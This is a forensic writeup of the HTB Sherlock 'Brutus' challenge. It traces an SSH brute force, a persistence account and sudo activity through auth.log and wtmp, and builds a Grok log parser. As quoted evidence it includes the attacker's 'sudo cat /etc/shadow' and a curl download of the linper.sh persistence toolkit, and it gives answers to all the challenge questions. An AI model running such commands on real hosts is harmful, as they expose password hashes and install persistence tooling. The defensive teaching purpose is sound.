> ## Documentation Index
> Fetch the complete documentation index at: https://writeups.dudji.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Brutus

# Brutus - HTB Sherlock Writeup (DFIR / Log Analysis)

<img src="https://mintcdn.com/dudji-2c6e4328/iS0VVf3n3y9Vpti2/images/sherlocks/brutus.png?fit=max&auto=format&n=iS0VVf3n3y9Vpti2&q=85&s=6b7747ce8a870111a044dff205d03825" alt="Brutus Banner" width="1536" height="1024" data-path="images/sherlocks/brutus.png" />

## Challenge Description

> A Confluence server was brute-forced via its SSH service. After gaining access, the attacker
> performed additional activities including privilege escalation, persistence (creating a new user),
> and downloading tools.

**Difficulty:** Very Easy\
**Category:** DFIR / Log Analysis\
**Evidence Files:** `auth.log`, `wtmp`

***

## Initial Analysis Methodology

Before diving into the challenge questions, the goal is to understand what happened using only the
evidence. This section walks through a repeatable approach you can apply to any unknown log set -
the same steps, in the same order, every time.

We have two artifacts from a Linux server. We don't know yet who attacked it, how they got in, or
what they did after. The methodology below will answer all three.

***

### Step 1 - Understand the Artifacts: What are we working with?

Before running any commands, it helps to know what each file actually is.

**auth.log** is a structured plaintext log. Every line follows this format:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
<Date/Time> <Hostname> <Service>[<PID>]: <Message>
```

Example:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Mar 10 10:23:45 exampleserver sshd[19360]: Failed password for invalid user admin from 192.168.1.101 port 22 ssh2
```

Key services you'll encounter: `sshd`, `sudo`, `useradd`, `usermod`, `groupadd`, `passwd`, `chfn`,
`systemd-logind`, `CRON`.

**wtmp** is a binary file. You cannot `cat` it. Use these tools:

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Basic login history
TZ=UTC last -f wtmp

# Full timestamps including logout time
TZ=UTC last -dF -f wtmp

# Alternative: raw dump
utmpdump wtmp

# Another option
TZ=UTC who -a wtmp
```

**Important timezone note:** wtmp timestamps are displayed using your local system timezone, not the
timezone of the source system. Always prefix commands with `TZ=UTC` when doing forensic analysis to
keep your timeline consistent across artifacts.

> **Note:** If `last -f wtmp` gives a SQLite error on newer Kali versions, this is because newer
> systemd versions use a database format. The file you're analyzing is the older binary format. Use
> `utmpdump` or `who -a` as alternatives.

***

### Step 2 - Survey the Log: What services are recorded?

Before looking for anything specific, get a picture of what types of events are present. This
prevents tunnel vision and surfaces activity you might not have expected.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
awk '{print $5}' auth.log | sed 's/[\[\:].*//g' | sort | uniq -c | sort -n
```

**How this works:** `awk '{print $5}'` extracts the service name and PID field (e.g.,
`sshd[1234]:`), then `sed` strips the brackets and PID leaving just the service name, and
`sort | uniq -c | sort -n` counts occurrences sorted numerically.

You'll see services like `sshd`, `sudo`, `CRON`, `useradd`, `usermod`, `groupadd`, `passwd`,
`chfn`, `systemd-logind`. The presence of `useradd` and `usermod` immediately tells you that user
account manipulation happened during this time window, worth investigating once we understand the
entry point.

***

### Step 3 - Check Login Sessions: Who logged in and from where?

With a picture of what services are present, the next step is to get a high-level view of login
sessions. wtmp gives this to us instantly:

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
TZ=UTC last -f wtmp
```

This shows login sessions, source IPs, and session durations, giving you a high-level picture before reading
individual log lines. Look for sessions from unexpected IPs, sessions that lasted an unusually short
time (automated tooling), or sessions that lasted an unusually long time (interactive attacker
activity).

***

### Step 4 - Identify the Attack: Look for brute-force patterns

Now look at authentication events in auth.log. The key signal for a brute-force is a high volume
of failed authentication attempts from a single IP in a short time window.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -oP ' \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' auth.log | sort | uniq -c | sort -n
```

One IP will stand out immediately with an order-of-magnitude more attempts than any other. A useful
rule of thumb: *"Could a human attempt to authenticate this often manually?"* If the answer is
no, it's automated tooling.

To read the actual failed attempts:

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep sshd auth.log | grep -v pam_unix | less
```

***

### Step 5 - Trace Post-Exploitation: What did the attacker do after getting in?

Once you have identified the attacker's IP and the compromised account, trace the events that
follow. In auth.log, `sudo`, `useradd`, `usermod`, and `passwd` entries after a successful login
from the attacker's IP are all post-exploitation activity.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "Accepted" auth.log | grep "<attacker_ip>"
grep "useradd\|usermod\|sudo" auth.log
```

Cross-reference timestamps from auth.log with wtmp sessions to confirm which session each action
belongs to.

***

### Methodology Summary

Every time you approach an unknown log set, follow this sequence:

1. **Understand the artifacts**: know what each file is, its format, and its limitations before
   running any commands
2. **Survey the log**: identify which services appear to get a complete picture of recorded
   activity before focusing on anything specific
3. **Check login sessions**: use wtmp for a high-level view of who logged in, from where, and for
   how long
4. **Identify the attack**: look for statistical anomalies like IP addresses with disproportionate
   failed login counts
5. **Trace post-exploitation**: follow the attacker's session chronologically through
   `useradd`, `sudo`, `usermod`, and other privilege or persistence events
6. **Cross-reference timestamps**: align auth.log and wtmp events to build a unified timeline and
   confirm which actions belong to which session

***

## Attack Timeline

| Time (UTC) | Event                                                         | Source   |
| ---------- | ------------------------------------------------------------- | -------- |
| `06:31:31` | Brute force begins from `65.2.161.68`                         | auth.log |
| `06:31:40` | First successful root login (automated, immediate disconnect) | auth.log |
| `06:32:44` | Second successful root login (manual, session persists)       | auth.log |
| `06:32:45` | Interactive terminal session established                      | wtmp     |
| `06:34:18` | New user `cyberjunkie` created (UID 1002)                     | auth.log |
| `06:34:26` | Password set for `cyberjunkie`                                | auth.log |
| `06:35:15` | `cyberjunkie` added to sudo group                             | auth.log |
| `06:37:24` | Root session 37 closed                                        | auth.log |
| `06:37:34` | `cyberjunkie` logs in                                         | auth.log |
| `06:37:57` | `cyberjunkie` runs `sudo cat /etc/shadow`                     | auth.log |
| `06:39:38` | `cyberjunkie` downloads `linper.sh` via sudo curl             | auth.log |

***

## Questions and Answers

### Q1: What is the IP address used by the attacker to carry out a brute force attack?

**Artifacts:** `auth.log`\
**Method:** Look for repeated "Failed password" and "Invalid user" entries from a single IP in rapid
succession.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep -oP ' \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' auth.log | sort | uniq -c | sort -n
```

The IP with 165 connection attempts in rapid succession (all within seconds of each other) stands
out immediately. You can also filter sshd lines and exclude noise:

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep sshd auth.log | grep -v pam_unix | less
```

> **Answer:** `65.2.161.68`

***

### Q2: The brute force was successful. What is the username of the compromised account?

**Artifacts:** `auth.log`\
**Method:** Search for successful logins from the attacker's IP.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "Accepted" auth.log | grep "65.2.161.68"
```

The first "Accepted password" from this IP is for the `root` account. Notice that the session
closes in the same second; this is the brute-force tool confirming the credentials, not a manual
login. When you see an accepted password followed by an immediate disconnect, that's a strong
indicator of automated tooling (e.g., Hydra, Medusa).

> **Answer:** `root`

***

### Q3: Identify the UTC timestamp when the attacker manually logged in (from wtmp).

**Artifacts:** `wtmp`\
**Method:** The question specifically asks for the wtmp timestamp, not auth.log. There is an
important distinction:

* **auth.log** records when the password was *accepted* (authentication event)
* **wtmp** records when the interactive *terminal session* was created (login event)

These can differ by a second or more. The attacker authenticated at `06:32:44` in auth.log, but the
terminal session was established at `06:32:45` in wtmp.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
TZ=UTC last -f wtmp
```

The second login from `65.2.161.68` (where the session lasts several minutes, unlike the instant
brute-force disconnect) is the manual login.

> **Answer:** `2024-03-06 06:32:45`

***

### Q4: What is the attacker's SSH session number?

**Artifacts:** `auth.log`\
**Method:** Session numbers are assigned by `systemd-logind`. Look at the log line immediately after
the session is opened.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "systemd-logind" auth.log
```

Find the "New session" entry that corresponds to the attacker's manual login time (`06:32:44/45`):

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Mar  6 06:32:44 ... systemd-logind[411]: New session 37 of user root.
```

> **Answer:** `37`

***

### Q5: What new user account did the attacker create for persistence?

**Artifacts:** `auth.log`\
**Method:** Search for user creation events.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "useradd" auth.log
```

This shows a new user `cyberjunkie` was created. Then check for privilege escalation:

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "usermod" auth.log
```

The attacker added `cyberjunkie` to the `sudo` group, granting full administrative privileges. This
is a classic persistence technique: create a new account with elevated privileges so you can return
later without needing to brute-force again.

> **Answer:** `cyberjunkie`

***

### Q6: What is the MITRE ATT\&CK sub-technique ID for persistence via new account creation?

**Artifacts:** N/A (MITRE ATT\&CK reference)

The MITRE ATT\&CK framework categorizes this under:

* **Tactic:** Persistence
* **Technique:** Create Account (T1136)
* **Sub-technique:** Local Account (T1136.001)

Other sub-techniques include Domain Account (.002) and Cloud Account (.003), but since this was a
local Linux account, it's `.001`.

> **Answer:** `T1136.001`

***

### Q7: What time did the attacker's first SSH session end?

**Artifacts:** `auth.log`\
**Method:** Look for when session 37 was closed.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "session 37" auth.log
```

Find the "Session 37 logged out" or "Removed session 37" entry:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Mar  6 06:37:24 ... systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar  6 06:37:24 ... systemd-logind[411]: Removed session 37.
```

> **Answer:** `2024-03-06 06:37:24`

***

### Q8: What full command did the attacker execute using sudo from their backdoor account?

**Artifacts:** `auth.log`\
**Method:** Although auth.log doesn't normally track commands, `sudo` commands are logged because
they require privilege elevation.

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
grep "sudo:" auth.log | grep "cyberjunkie"
```

Two sudo commands are visible. First, `cat /etc/shadow` to dump password hashes.
Second, a `curl` download of a persistence toolkit. The full command:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
```

`linper.sh` is a Linux persistence toolkit, a bash script that automates various persistence
techniques on compromised hosts.

> **Answer:** `/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh`

***

## Beyond Root: Parsing auth.log with Grok

This section covers parsing the entire log into structured JSON using Grok patterns, the same
approach used by SIEMs like Elastic and Splunk to process unstructured logs at scale.

### Why Grok?

The problem with auth.log is that it's unstructured. Different log messages have different formats,
making `awk` field positions inconsistent:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2    # username is field 11
Failed password for backup from 65.2.161.68 port 46512 ssh2                # username is field 9
```

Grok solves this by using named pattern matching to extract fields regardless of position. The
syntax looks like:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
%{PATTERN_NAME:field_name}
```

For example: `%{IP:source_ip}` matches an IP address into a field called `source_ip`, and
`%{WORD:username}` matches a single word into `username`.

### Tools

**Grok Debugger** ([https://grokdebugger.com/](https://grokdebugger.com/)): paste a log line, write your pattern, and see
matched fields in real-time. Always iterate here before writing any code.

**go-grok** ([https://github.com/elastic/go-grok](https://github.com/elastic/go-grok)): a Go library by Elastic for parsing text with
Grok patterns, with built-in pattern definitions matching what Logstash uses.

### Building the Parser

Initialize the Go project:

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
mkdir go-brutus && cd go-brutus
go mod init go-brutus
go get github.com/elastic/go-grok
touch main.go
```

Every auth.log line starts with timestamp, hostname, and program. The built-in `SYSLOGBASE2`
pattern handles most of this; note that `WORD` won't work for the program field because some
programs contain dashes (e.g., `systemd-logind`), so use `DATA` instead:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
%{SYSLOGBASE2} %{DATA:program}\[%{BASE10NUM:pid}\]:
```

Patterns for each log message type:

```text theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# SSH auth — (invalid user )? makes the phrase optional, matching both valid and invalid user lines
SSH_AUTH: %{LOG_PREFIX} %{WORD:result} %{WORD:login_type} for (invalid user )?%{DATA:username} from %{IP:source_ip} port %{BASE10NUM:client_port} %{WORD:protocol}

# systemd-logind sessions — trailing period anchors the optional "of user" clause
SYSTEMD_SESSION: %{LOG_PREFIX} %{WORD:status} session %{BASE10NUM:session_id}( of user %{USERNAME:username})?.

# useradd
USER_ADD: %{LOG_PREFIX} new user: name=%{USERNAME:username}, UID=%{BASE10NUM:uid}, GID=%{BASE10NUM:gid}, home=%{UNIXPATH:home_dir}, shell=%{UNIXPATH:shell}, from=%{UNIXPATH:from}

# sudo
SUDO_CMD: %{LOG_PREFIX} %{USERNAME:user} : TTY=%{WORD:tty} ; PWD=%{UNIXPATH:pwd} ; USER=%{USERNAME:tgt_user} ; COMMAND=%{GREEDYDATA:command}
```

The full Go program reads auth.log line by line, tries each pattern, and outputs matched lines as
JSON. Once running, pipe through `jq` for flexible queries:

```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find all failed SSH attempts from attacker IP
go run main.go | grep "65.2.161.68" | jq '.'

# Show only successful logins
go run main.go | grep "Accepted" | jq '{source_ip, username, result}'

# Find new sessions
go run main.go | grep "session" | grep -v "CRON" | grep "New" | jq '.'

# Show sudo commands by cyberjunkie
go run main.go | grep "cyberjunkie" | jq '.user + " ran as " + .tgt_user + " with command: " + .command'
```

### Why This Matters for Defenders

This Grok-based approach is how logs are processed at scale in real SOC environments:

1. **Raw logs** come in from servers (auth.log, syslog, application logs)
2. **Grok rules** parse them into structured fields
3. **Logstash/Fluentd** ingests the structured data into **Elasticsearch** or **Splunk**
4. **Analysts** query using KQL, Lucene, or SPL instead of grep/awk

Learning to write Grok patterns is essential for anyone working in defensive security, SOC analysis,
or SIEM administration.

***

## Skills Learned

* Unix log analysis (`auth.log` and `wtmp`)
* Brute-force detection patterns in SSH logs
* Distinguishing automated vs manual logins from session duration
* Tracking privilege escalation and persistence in auth.log
* Timeline creation across multiple artifacts
* MITRE ATT\&CK framework mapping
* Grok pattern creation for structured log parsing
* Using go-grok (Elastic) for programmatic log analysis
* Piping JSON output through `jq` for flexible querying
